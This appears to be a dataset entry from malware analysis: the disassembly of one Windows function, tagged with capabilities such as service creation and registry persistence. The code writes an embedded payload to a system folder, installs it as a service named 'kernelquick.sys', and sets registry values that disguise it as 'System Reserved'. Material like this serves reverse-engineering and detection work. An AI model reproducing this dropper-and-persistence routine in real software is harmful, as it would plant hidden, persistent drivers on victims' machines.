Function at 0x100033d0
Capabilities:
Create service
Get common file path
Move file
Persist via windows service
Set registry value
Start service
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100183ab
mov eax, dword fs:[0]
push eax
sub esp, 0x444
mov eax, dword [0x10021004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
lea eax, [ebp - 0x420]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x1001ebc0
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 2
push 4
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000345d
push 0x1001ebd8
push 0
mov ecx, edi
call fcn.10003900
jmp 0x1000375a
push 0
lea eax, [ebp - 0x440]
mov dword [ebp - 0x440], 0
push eax
push 0x14ae0
push 0x100218f0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf003f
push 0
push 0
mov dword [ebp - 0x448], 1
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push str.kernelquick.sys
push str.23423.txt
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x420]
push eax
push 0
push 3
push 1
push 0xf01ff
push 0x1001ec1c
push 0x1001ec1c
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x100034ff
push 0x10
push 0x1001ec1c
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
mov ecx, edi
test ebx, ebx
jne 0x10003516
push 0x1001ec34
push 1
call fcn.10003900
jmp 0x1000375a
test esi, esi
jne 0x1000352b
push 0x1001ec44
push 1
call fcn.10003900
jmp 0x1000375a
lea eax, [ebp - 0x420]
push eax
push 0
call fcn.100044d0
push 0x410
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x420]
mov ecx, edi
push eax
push 5
call fcn.100044d0
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov ecx, edi
test eax, eax
je 0x1000357c
push 0x1001ec60
push 1
call fcn.10003900
jmp 0x10003581
call fcn.10003780
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
xor eax, eax
mov dword [ebp - 0x428], 0
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x424], 7
mov word [ebp - 0x438], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100035b3
sub ecx, edx
lea eax, [ebp - 0x420]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x438]
call fcn.100055b0
mov dword [ebp - 4], 0
mov eax, dword [edi + 0x10]
test eax, eax
jne 0x1000363b
mov ecx, edi
call fcn.10003bd0
mov eax, dword [edi + 0x10]
test eax, eax
jne 0x1000363b
push 0x1001ed7c
push 2
mov ecx, edi
call fcn.10003900
mov edx, dword [ebp - 0x424]
cmp edx, 8
jb 0x1000369b
mov ecx, dword [ebp - 0x438]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003691
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003776
jmp 0x10003691
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x450]
lea esi, [ebp - 0x438]
mov ecx, edi
cmovae esi, dword [ebp - 0x438]
push eax
sub esp, 0xc
call fcn.10003bd0
add esp, 4
mov edx, esi
mov ecx, eax
call fcn.100026f0
and eax, 1
add esp, 0xc
or eax, 0
mov ecx, edi
jne 0x10003685
push 0x1001edd0
push 2
jmp 0x100035fa
push 0x1001ede0
push 2
jmp 0x100035fa
push edx
push ecx
call fcn.1000673a
add esp, 8
push str.System_Reserved
mov dword [ebp - 0x444], 1
mov dword [ebp - 0x43c], 3
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
lea eax, [eax*2 + 2]
push eax
push str.System_Reserved
push 2
push str.Group
push str.SYSTEMCurrentControlSet_serviceskernelquick
push closesocket
call esi
push 4
lea eax, [ebp - 0x43c]
push eax
push 4
push 0x1001ecfc
push str.SYSTEMCurrentControlSet_serviceskernelquick
push closesocket
call esi
push 4
lea eax, [ebp - 0x444]
push eax
push 4
push str.Type
push str.SYSTEMCurrentControlSet_serviceskernelquick
push closesocket
call esi
push 4
lea eax, [ebp - 0x448]
push eax
push 4
push 0x1001ed14
push str.SYSTEMCurrentControlSet_serviceskernelquick
push closesocket
call esi
push 4
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x43c], 1
push eax
push 4
push 0x1001ecfc
push str.SYSTEMCurrentControlSet_serviceskernelquick
push closesocket
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10006729
mov esp, ebp
pop ebp
ret
call fcn.1000c566
int3